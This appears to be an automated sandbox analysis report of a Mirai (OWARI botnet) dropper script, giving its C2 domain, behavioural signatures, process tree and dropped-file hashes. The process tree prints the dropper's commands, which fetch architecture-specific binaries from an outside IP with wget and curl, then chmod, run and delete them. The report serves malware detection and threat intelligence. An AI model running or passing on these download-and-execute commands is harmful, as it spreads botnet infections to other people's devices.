Analysis

  • max time kernel
    131s
  • max time network
    148s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/03/2025, 09:22

General

  • Target

    bash.sh

  • Size

    2KB

  • MD5

    e9d282fe04078b2d45522facfce2df0b

  • SHA1

    3cf77dfbbc7cf114515f94e5ecd0c38c3819fd83

  • SHA256

    8325ad7ebed7fdd287cc0cd89f81a51617a64b38d09fa3d84c9141477e0dd415

  • SHA512

    26e33128cbbacccc6897c50e723342c6f11c31668353ae553de4a96ac6af7634921a0f269141f11acc4928d8d17edcd9dacd022b949b7a42776df5c248629096

Malware Config

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates/modifies environment variables 1 TTPs 1 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Modifies Bash startup script 2 TTPs 1 IoCs
  • Changes its process name 1 IoCs
  • Checks CPU configuration 1 TTPs 10 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 52 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bash.sh
    /tmp/bash.sh
    1⤵
    • Executes dropped EXE
    • Creates/modifies environment variables
    • Modifies Bash startup script
    PID:638
    • /usr/bin/wget
      wget --quiet 141.98.10.122/GoldAge3ATOarm
      2⤵
      • Writes file to tmp directory
      PID:640
    • /usr/bin/curl
      curl -s -O 141.98.10.122/GoldAge3ATOarm
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:656
    • /bin/chmod
      chmod 777 GoldAge3ATOarm
      2⤵
      • File and Directory Permissions Modification
      PID:666
    • /tmp/GoldAge3ATOarm
      ./GoldAge3ATOarm
      2⤵
      • Modifies Watchdog functionality
      • Enumerates active TCP sockets
      • Changes its process name
      • Reads system network configuration
      • Reads runtime system information
      PID:667
    • /bin/rm
      rm -rf GoldAge3ATOarm
      2⤵
        PID:672
      • /bin/rm
        rm -rf GoldAge3ATOarm.1
        2⤵
          PID:676
        • /usr/bin/wget
          wget --quiet 141.98.10.122/GoldAge3ATOarm6
          2⤵
          • Writes file to tmp directory
          PID:677
        • /usr/bin/curl
          curl -s -O 141.98.10.122/GoldAge3ATOarm6
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:680
        • /bin/chmod
          chmod 777 GoldAge3ATOarm6
          2⤵
          • File and Directory Permissions Modification
          PID:681
        • /tmp/GoldAge3ATOarm6
          ./GoldAge3ATOarm6
          2⤵
            PID:682
          • /bin/rm
            rm -rf GoldAge3ATOarm6
            2⤵
              PID:683
            • /bin/rm
              rm -rf GoldAge3ATOarm6.1
              2⤵
                PID:684
              • /usr/bin/wget
                wget --quiet 141.98.10.122/GoldAge3ATOm68k
                2⤵
                • Writes file to tmp directory
                PID:685
              • /usr/bin/curl
                curl -s -O 141.98.10.122/GoldAge3ATOm68k
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:686
              • /bin/chmod
                chmod 777 GoldAge3ATOm68k
                2⤵
                • File and Directory Permissions Modification
                PID:692
              • /tmp/GoldAge3ATOm68k
                ./GoldAge3ATOm68k
                2⤵
                  PID:693
                • /bin/rm
                  rm -rf GoldAge3ATOm68k
                  2⤵
                    PID:696
                  • /bin/rm
                    rm -rf GoldAge3ATOm68k.1
                    2⤵
                      PID:697
                    • /usr/bin/wget
                      wget --quiet 141.98.10.122/GoldAge3ATOmips
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:698
                    • /usr/bin/curl
                      curl -s -O 141.98.10.122/GoldAge3ATOmips
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:705
                    • /bin/chmod
                      chmod 777 GoldAge3ATOmips
                      2⤵
                      • File and Directory Permissions Modification
                      PID:712
                    • /tmp/GoldAge3ATOmips
                      ./GoldAge3ATOmips
                      2⤵
                      • System Network Configuration Discovery
                      PID:713
                    • /bin/rm
                      rm -rf GoldAge3ATOmips
                      2⤵
                      • System Network Configuration Discovery
                      PID:716
                    • /bin/rm
                      rm -rf GoldAge3ATOmips.1
                      2⤵
                      • System Network Configuration Discovery
                      PID:717
                    • /usr/bin/wget
                      wget --quiet 141.98.10.122/GoldAge3ATOmpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:719
                    • /usr/bin/curl
                      curl -s -O 141.98.10.122/GoldAge3ATOmpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:724
                    • /bin/chmod
                      chmod 777 GoldAge3ATOmpsl
                      2⤵
                      • File and Directory Permissions Modification
                      PID:732
                    • /tmp/GoldAge3ATOmpsl
                      ./GoldAge3ATOmpsl
                      2⤵
                        PID:734
                      • /bin/rm
                        rm -rf GoldAge3ATOmpsl
                        2⤵
                          PID:736
                        • /bin/rm
                          rm -rf GoldAge3ATOmpsl.1
                          2⤵
                            PID:737
                          • /usr/bin/wget
                            wget --quiet 141.98.10.122/GoldAge3ATOppc
                            2⤵
                            • Writes file to tmp directory
                            PID:739
                          • /usr/bin/curl
                            curl -s -O 141.98.10.122/GoldAge3ATOppc
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:745
                          • /bin/chmod
                            chmod 777 GoldAge3ATOppc
                            2⤵
                            • File and Directory Permissions Modification
                            PID:750
                          • /tmp/GoldAge3ATOppc
                            ./GoldAge3ATOppc
                            2⤵
                              PID:752
                            • /bin/rm
                              rm -rf GoldAge3ATOppc
                              2⤵
                                PID:754
                              • /bin/rm
                                rm -rf GoldAge3ATOppc.1
                                2⤵
                                  PID:755
                                • /usr/bin/wget
                                  wget --quiet 141.98.10.122/GoldAge3ATOsh4
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:756
                                • /usr/bin/curl
                                  curl -s -O 141.98.10.122/GoldAge3ATOsh4
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:758
                                • /bin/chmod
                                  chmod 777 GoldAge3ATOsh4
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:760
                                • /tmp/GoldAge3ATOsh4
                                  ./GoldAge3ATOsh4
                                  2⤵
                                    PID:761
                                  • /bin/rm
                                    rm -rf GoldAge3ATOsh4
                                    2⤵
                                      PID:763
                                    • /bin/rm
                                      rm -rf GoldAge3ATOsh4.1
                                      2⤵
                                        PID:764
                                      • /usr/bin/wget
                                        wget --quiet 141.98.10.122/GoldAge3ATOspc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:765
                                      • /usr/bin/curl
                                        curl -s -O 141.98.10.122/GoldAge3ATOspc
                                        2⤵
                                        • Checks CPU configuration
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:766
                                      • /bin/chmod
                                        chmod 777 GoldAge3ATOspc
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:767
                                      • /tmp/GoldAge3ATOspc
                                        ./GoldAge3ATOspc
                                        2⤵
                                          PID:768
                                        • /bin/rm
                                          rm -rf GoldAge3ATOspc
                                          2⤵
                                            PID:770
                                          • /bin/rm
                                            rm -rf GoldAge3ATOspc.1
                                            2⤵
                                              PID:771
                                            • /usr/bin/wget
                                              wget --quiet 141.98.10.122/GoldAge3ATOx64
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:772
                                            • /usr/bin/curl
                                              curl -s -O 141.98.10.122/GoldAge3ATOx64
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:773
                                            • /bin/chmod
                                              chmod 777 GoldAge3ATOx64
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:778
                                            • /tmp/GoldAge3ATOx64
                                              ./GoldAge3ATOx64
                                              2⤵
                                                PID:779
                                              • /bin/rm
                                                rm -rf GoldAge3ATOx64
                                                2⤵
                                                  PID:781
                                                • /bin/rm
                                                  rm -rf GoldAge3ATOx64.1
                                                  2⤵
                                                    PID:782
                                                  • /usr/bin/wget
                                                    wget --quiet 141.98.10.122/GoldAge3ATOx86
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:784
                                                  • /usr/bin/curl
                                                    curl -s -O 141.98.10.122/GoldAge3ATOx86
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:787
                                                  • /bin/chmod
                                                    chmod 777 GoldAge3ATOx86
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:792
                                                  • /tmp/GoldAge3ATOx86
                                                    ./GoldAge3ATOx86
                                                    2⤵
                                                      PID:793
                                                    • /bin/rm
                                                      rm -rf GoldAge3ATOx86
                                                      2⤵
                                                        PID:795
                                                      • /bin/rm
                                                        rm -rf GoldAge3ATOx86.1
                                                        2⤵
                                                          PID:798

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

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                                                      Downloads

                                                      • /tmp/GoldAge3ATOarm

                                                        Filesize

                                                        42KB

                                                        MD5

                                                        b58316c521f8621ace5b4a883ae495a1

                                                        SHA1

                                                        71e2344a723a0066ae1fe80d26b63f71d85fe6d1

                                                        SHA256

                                                        f4aaffa4c2dd047542f38e60afa96554cff53c6083aefbeae49c2f2ccc183608

                                                        SHA512

                                                        c7181cd78fc97e0158d9ccf01c8bd7c65776eb344c3828cecd71eb92e8ef0ef84e50f018a8d154015baf3a3ec7b7404a5d9f5678d5a3b782ca190fb88a8afeae

                                                      • /tmp/GoldAge3ATOarm6

                                                        Filesize

                                                        53KB

                                                        MD5

                                                        4e25a773ef66310a0b4fe7129ba20de4

                                                        SHA1

                                                        d57058a515beb010a7e96c2ac3ba8fd2b0ebca99

                                                        SHA256

                                                        127a8f9ef876f72c390896631c14d7b406d127408917f9e395a2931d8a81b955

                                                        SHA512

                                                        df6aea653867d4bf77da88c37dd4b6160247e4e19dd104a94abd155859e47d3cbf6648dbfc1fe9e02eed6cd60496a7c67a3daaeb9f01d8ecb9073d63cc3726d8

                                                      • /tmp/GoldAge3ATOm68k

                                                        Filesize

                                                        41KB

                                                        MD5

                                                        08c43f317206176398da4ce873c9b077

                                                        SHA1

                                                        acd7c6d4cf6961d335eb5560504f5b51a83468fc

                                                        SHA256

                                                        44b381bde81d6386a8713a1f5a89c4f5511dd5471048046b9deef96bed7ef779

                                                        SHA512

                                                        41d0723f553ebf931111d601630b4be1e91745e9a44c5763765d1df25602abb58fc5b584cec8f8177e98ccc9d0febd00193fd084e79bb4b8906c6f0fe8725b57

                                                      • /tmp/GoldAge3ATOmips

                                                        Filesize

                                                        53KB

                                                        MD5

                                                        b25adc97864efce4fad6915113d432bb

                                                        SHA1

                                                        f83b6b19bc9080737efdcc36355065183b1f2873

                                                        SHA256

                                                        a587e7c7f11dbc533f4eca031049ac269da0356b97195612993d4fbad9b2d2a7

                                                        SHA512

                                                        1b7252f5b68b6547bb28de7551161698bb3f9caf7a218432f3abaeb28aafad9483eba08697cc23191da492118cba2182f80d250e1768dc2402012b742dabe840

                                                      • /tmp/GoldAge3ATOmpsl

                                                        Filesize

                                                        55KB

                                                        MD5

                                                        c4b8705dc8ae7e51d0122b4afeb9bed5

                                                        SHA1

                                                        2c3aec92a0f61e67e1870436ed01544fd960dc52

                                                        SHA256

                                                        92154f4dfb53fcaaa598b1e8cdf408043694f4714f8ccce544d5ce6abfdd6724

                                                        SHA512

                                                        b27a9ba545f3fd5ac648fee463317987dd6eac754c76c667c876ada5c039616fa788e948e49e9d6c1f2b58f18a3bc8cb87daeeb00f40f8f6540ecb80e8a6f52a

                                                      • /tmp/GoldAge3ATOppc

                                                        Filesize

                                                        39KB

                                                        MD5

                                                        d6127758c157cc32f612951c5ca51457

                                                        SHA1

                                                        bb78b97a08e5ae9bd9758f9bb292e148b539ba61

                                                        SHA256

                                                        790599cb608623c255987fa21bacdeed32b540e84a9c4f206b7ebcd3d5f076e9

                                                        SHA512

                                                        f31669ca46b566426355b152f64bd66b06b0c2e5ad26d55d4b98746c2bc6accf45e56f5eb454d7c50fea5d580325300298a18149ad37f7def9b44c66e7db2815

                                                      • /tmp/GoldAge3ATOsh4

                                                        Filesize

                                                        36KB

                                                        MD5

                                                        89efd2e14dc8613ffda292cf3d390ceb

                                                        SHA1

                                                        78c7e51fb2bee42e6a927ea9879393e35000c4c9

                                                        SHA256

                                                        b1d71bff5722d0a1a0e231ccd55baae4a74ef9dc6e7e17d0d73dbe270d9e7378

                                                        SHA512

                                                        babb272c58305f19ec0ee6779b40d343cb50ef50959e47e26aba4fcbd9f53839e0a379040f67fc481a144f79e9d704de09b8e9cbbf5a2b2842e897e37dc2e1fd

                                                      • /tmp/GoldAge3ATOspc

                                                        Filesize

                                                        44KB

                                                        MD5

                                                        e19a9d8e5622b1fa1736dc49cf00be55

                                                        SHA1

                                                        7c8768a86172280ee05e65617ddca3809e2a41c0

                                                        SHA256

                                                        2e94d64031cbc545e1c446f7d89ab70072b2781e47f98b1c193456a56f935bef

                                                        SHA512

                                                        9d4a941b53525b783419a570906e49d964d0fcb6affdf41f0e23aaa8e5a2abbb2645ba1f4feac64d09c67a7c6cf681ad1151382efde5be154501ac2b99349b5d

                                                      • /tmp/GoldAge3ATOx64

                                                        Filesize

                                                        41KB

                                                        MD5

                                                        b70cf616255d6fba57636332d273b317

                                                        SHA1

                                                        514ac1e551e002786d0141ae9d4268b544f8a2ad

                                                        SHA256

                                                        3267485f753ca20ad6384328b42444aaaaad5746776b38b8b2d707f5f0439931

                                                        SHA512

                                                        4297c7c0149f9bd1ef816a9735de167afa7c3d48d09954abcfdca3395e4c8852688b4b3e34fdc6996d69e2075e74a290a71ecee973bbe3ad6ade141b0df7ca6a

                                                      • /tmp/GoldAge3ATOx86

                                                        Filesize

                                                        37KB

                                                        MD5

                                                        f50130b7f6ee3b9cd3cebc8d7f7cc3b1

                                                        SHA1

                                                        b10d1f9aa72bf0127efbcb87fd7d4bda67ad678a

                                                        SHA256

                                                        188ec8f91895242ab4affa2595820b2a303810b981607866f368a9baaa40d1ac

                                                        SHA512

                                                        42d33fbe0c8179d75b6dace087673cf7f3c6d175596bd869b75d0dc939f9c44ffd5b763ed3a02113f43e2598539af891a57b77cdb9b7ffa50f075a9d5fef8423